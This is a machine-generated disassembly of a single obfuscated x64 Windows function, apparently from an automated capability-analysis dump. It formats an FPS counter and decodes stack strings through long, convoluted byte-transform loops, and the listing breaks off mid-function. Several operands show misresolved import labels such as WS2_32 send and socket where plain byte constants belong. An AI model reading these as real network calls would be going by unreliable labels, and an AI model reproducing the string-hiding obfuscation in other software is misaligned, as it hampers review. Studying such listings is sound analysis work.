Function at 0x140076730
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x758]
sub rsp, 0x830
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
mov rax, qword [0x1401dd780]
xor rax, rsp
mov qword [rbp + 0x6b8], rax
call fcn.14000e730
cvttss2si r8d, dword [rax + 0xd0]
lea r10, [rbp + 0x6b5]
test r8d, r8d
jns 0x1400767f0
neg r8d
nop dword [rax + rax]
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x1400767b0
dec r10
mov byte [r10], 0x2d
jmp 0x14007681a
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x1400767f0
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x6b5]
mov rdx, r10
lea rcx, [rbp + 0x120]
call fcn.140040240
nop
mov byte [rbp + 0x1e0], reloc.WS2_32.dll_send
mov byte [rbp + 0x1e1], 0xe3
mov byte [rbp + 0x1e2], 0xf7
mov byte [rbp + 0x1e3], 0xf6
mov byte [rbp + 0x1e4], 0xf4
mov byte [rbp + 0x1e5], 0x49
mov byte [rbp + 0x1e6], socket
mov byte [rbp + 0x1e7], 0xe9
mov byte [rbp + 0x1e8], 0xfd
mov byte [rbp + 0x1e9], 0xef
mov byte [rbp + 0x1ea], 3
mov byte [rbp + 0x1eb], 0xef
mov byte [rbp + 0x1ec], 0xfd
mov byte [rbp + 0x1ed], 0x41
mov byte [rbp + 0x1ee], 0x1a
mov byte [rbp + 0x1ef], 0xbf
mov byte [rbp + 0x1f0], 0x9c
xor eax, eax
mov qword [rbp + 0x1f1], rax
mov dword [rbp + 0x1f9], eax
mov word [rbp + 0x1fd], ax
mov byte [rbp + 0x1ff], al
movabs r13, 0xedc533e853676ff2
movabs r14, 0x812d420ed77c2eda
movabs r15, 0x1a132f254929c866
movabs r12, 0x3e88c754a25ae882
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x1400773c4
movzx r9d, byte [rbp + r10 + 0x1e0]
cmp rbx, r10
ja 0x1400773bb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140076952
lea rcx, [r10 + r13]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x62
jmp 0x14007697f
je 0x14007733b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400772a5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077281
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140077233
movzx r11d, r9b
cmp r8, r10
ja 0x1400773b2
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x1400769b1
lea rcx, [r10 + r14]
movzx eax, r9b
and al, cl
mov edx, 5
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400769f2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140077217
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400771f2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140077199
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140077181
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140077154
lea rsi, [r8 + rbx]
cmp rsi, r10
jbe 0x140076eb4
nop
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140076ea2
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140076e76
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140076e4d
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140076e27
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140076e01
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140076dde
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140076dbb
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140076a00
lea rbx, [r8 + 6]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140077392
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140077375
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140076baf
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140076b90
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140076b71
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140076d69
lea rcx, [r8 + 0x28]
cmp rbx, rcx
jb 0x140076d1d
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140076cec
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140076a00
mov rbx, rcx
lea r8, [rcx + 2]
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140076cb4
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x140076c91
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140076c6e
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140076c48
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140076c22
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140076bfc
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140076bd3
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140076a00
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x5a]
jmp 0x140076a00
lea rcx, [r10 + r15]
movzx eax, r9b
and al, cl
mov edx, 0x1b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x1400769f2
lea rcx, [r10 + r12]
movzx eax, r9b
and al, cl
mov edx, reloc.WS2_32.dll_gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140076983
movabs rcx, 0x62fe5f83fb8c089e
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
jmp 0x140076926
movabs rax, 0x525540d56e43b708
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x38
dec r10
inc r10
jmp 0x140076913
movabs rax, 0x76cad904c774d724
add rax, r10
and r9b, al
mov ecx, 2
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
jmp 0x1400771b3
movabs rax, 0x9b40713420a5f740
add rax, r10
and r9b, al
mov ecx, 0x20
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
jmp 0x1400771d6
movabs rax, 0xbfb6096379d7175c
add rax, r10
and r9b, al
mov ecx, 0x3e
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
jmp 0x1400771d9
movabs rax, 0xe42ba192d3083778
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x48
jmp 0x1400772cc
movabs rax, 0x8a139c22c395794
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0xc
jmp 0x1400772f4
movabs rax, 0x2d16d1f1856a77b0
add rax, r10
and r9b, al
mov ecx, 0x18
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
movabs rax, 0x883cce67e46547f6
add rax, r10
and r9b, al
mov ecx, 0x23
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
mov byte [rbp + r10 + 0x1e0], dil
inc r10
jmp 0x140076913
movabs rcx, 0xacb266973d966812
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7e
cmp r8, 0x400
jb 0x140076d0d
movzx r11d, r10b
lea ecx, [r11 + 0x6c]
movzx eax, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140077251
movabs rcx, 0xd127fec696c7882e
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x42
cmp rbx, 0x7a
jae 0x140077120
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140077096
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140076d3c
movabs rax, 0x4ffabcb7bf4b5954
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x4c
jmp 0x1400772cc
movabs rax, 0x747054e7187c7970
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x10
jmp 0x1400771d9
movabs rax, 0x98e5ed1671ad998c
add rax, r10
and r9b, al
mov ecx, socket
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
jmp 0x1400771d6
movabs rax, 0xbd5b8545cadeb9a8
add rax, r10
and r9b, al
mov ecx, 0x34
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, r11b
jmp 0x1400771b3
movabs rax, 0xe1d11d75240fd9c4
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x5c
dec r10
inc r10
jmp 0x140076913
movabs rax, 0x646b5a47d40f9e0
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [r11 + rax]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x140076913
lea edx, [r10 - 4]
mov ecx, select
movzx r11d, r10b
jmp 0x140077240
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x140076f10
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rcx, [r8 + 6]
cmp rsi, 0x80
je 0x14007713e
cmp rbx, rcx
jbe 0x140076fef
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140076d88
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076f4a
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140076f6e
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x1400772cc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140076f96
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400771d6
lea rcx, [r8 + 6]
cmp rbx, rcx
jne 0x140076fba
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x1400771b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140076edb
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140076913
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007700a
movzx r11d, r10b
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x140077240
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077034
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
dec r10
inc r10
jmp 0x140076913
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077058
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x1400771d9
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140076d88
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400770d0
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400770f4
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x1400772cc
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140076d3c
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400771d6
lea edx, [r10 + 0x50]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x1e0]
sub dil, al
sub dil, 0x30
jmp 0x1400771ad
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x6c]
jmp 0x1400772cc
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
jmp 0x1400771d9
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r11b
mov byte [rbp + r10 + 0x1e0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140076913
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140076913
movzx r11d, r10b
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x140077251
movzx r11d, r10b
lea edx, [r11 - 0xa]
mov ecx, 0x23
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x5e
movzx eax, r11b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x1e0], cl
inc r8
dec r10
inc r10
jmp 0x140076913
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
inc r8
dec r10
inc r10
jmp 0x140076913
movabs rdx, 0x80646b5a47d40f9e
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x52
add dil, dl
movzx r11d, r9b
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0xa
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x1e0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r10 + 0x1e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
movabs rdx, 0xc94f9bb8fa364fd6
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x1e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076913
sub r10b, 0x46
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x16
jmp 0x140076910
sub r10b, 0x2a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400768f6
lea rdi, [rbp + 0x17f3878]
jmp 0x1400773cb
lea rdi, [rbp + 0x166a86a]
jmp 0x1400773cb
lea rdi, [rbp + 0x1e0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1400773d2
mov r8, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x138]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x140077479
lea rax, [r8 + rbx]
mov qword [rbp + 0x130], rax
lea rsi, [rbp + 0x120]
cmp rcx, 0xf
cmova rsi, qword [rbp + 0x120]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14007743a
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14007743a
cmp rsi, rdi
ja 0x140077432
xor r14d, r14d
jmp 0x14007743d
mov r14, rsi
sub r14, rdi
jmp 0x14007743d
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x120]
jmp 0x14007749b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, byte [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x120]
call fcn.140041d00
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rcx, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x218]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140077525
lea rax, [rcx + 4]
mov qword [rbp + 0x210], rax
lea rax, [rbp + 0x200]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x200]
mov dword [rax + rcx], 0x53504620
mov byte [rax + rcx + 4], 0
lea rax, [rbp + 0x200]
jmp 0x14007754c
mov qword [rsp + 0x20], 4
lea r9, str._FPS
movzx r8d, byte [rsp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x200]
call fcn.140041800
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x670], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x660], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x670], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x1400775cd
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400775c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400775c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013d7b8
movdqa xmm0, xmmword [0x14014a120]
movdqu xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140077630
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077623
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140077623
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013d7b8
movdqa xmm0, xmmword [0x14014a120]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
call fcn.14000e0b0
mov rsi, rax
lea rdi, [rbp + 0x660]
cmp qword [rbp + 0x678], 0xf
cmova rdi, qword [rbp + 0x660]
movdqa xmm0, xmmword [0x140145460]
movups xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call fcn.14000b980
mov ebx, eax
movss xmm13, dword [0x1401453cc]
mov dword [rsp + 0x54], 0x41200000
mov dword [rsp + 0x58], 0x41200000
call fcn.14000e3a0
xor r13d, r13d
mov qword [rsp + 0x40], r13
xorps xmm10, xmm10
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x54]
movss xmm6, dword [0x1401492f8]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rsi
call fcn.140021f40
call fcn.14000e0b0
mov rsi, rax
mov byte [rbp + 0x430], __WSAFDIsSet
mov byte [rbp + 0x431], 0xbe
mov byte [rbp + 0x432], 0xb6
mov byte [rbp + 0x433], 0xac
mov byte [rbp + 0x434], 0xc2
mov byte [rbp + 0x435], 0xa8
mov byte [rbp + 0x436], 0x83
mov byte [rbp + 0x437], __WSAFDIsSet
mov byte [rbp + 0x438], 0xfe
mov byte [rbp + 0x439], 0xce
mov byte [rbp + 0x43a], 0xde
mov byte [rbp + 0x43b], 0xfb
mov byte [rbp + 0x43c], 0xa1
mov byte [rbp + 0x43d], 0x83
mov byte [rbp + 0x43e], 0x99
mov byte [rbp + 0x43f], 0x88
mov byte [rbp + 0x440], 0x84
mov byte [rbp + 0x441], 0x9d
mov byte [rbp + 0x442], reloc.WS2_32.dll_recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x443], xmm0
mov qword [rbp + 0x453], rax
mov word [rbp + 0x45b], ax
mov byte [rbp + 0x45d], al
movabs r14, 0xab9d78ed5ee0f3db
movabs r12, 0xb14e4e7d9826aafd
movabs r15, 0x2d86ac81ca2db91
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
mov r10, r13
cmp r10, 0x2e
jae 0x14007835e
movzx r9d, byte [rbp + r10 + 0x430]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140078355
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007780c
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 3
jmp 0x140077853
je 0x1400782e5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140078255
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400781fd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400781dc
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400781b8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078171
cmp r8, r10
ja 0x14007834c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140077880
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
jmp 0x1400778c1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140078155
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140078131
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078116
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400780fb
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400780ce
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140077dfe
nop
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140077ddb
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140077db3
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140077d8e
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140077d6b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140077d4c
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140077d2d
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140077d0e
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140077cef
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140077cbe
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007832f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140078312
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140077a90
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140077a75
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140077a5a
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140077c75
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140077c30
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140077bed
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140077bc7
lea rbx, [r8 + 2]
lea r8, [rbx + 1]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140077b9a
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140077b7f
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140077b64
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140077b49
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140077b2e
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140077b0f
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140077aee
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140077aca
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140077aab
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x200]
jmp 0x1400778d0
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
jmp 0x1400778c1
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
jmp 0x140077853
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6b
jmp 0x1400777d6
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx r11d, r10b
jmp 0x14007818b
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
inc r8
dec r10
inc r10
jmp 0x1400777c3
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
dec r10
inc r10
jmp 0x1400777c3
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
movzx r11d, r10b
jmp 0x140078217
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140078239
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
jmp 0x14007823c
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140078273
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14007829e
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x430]
add rax, r8
add r10, rax
inc r10
jmp 0x1400777c3
lea ecx, [r10 - 0x3f]
movzx eax, cl
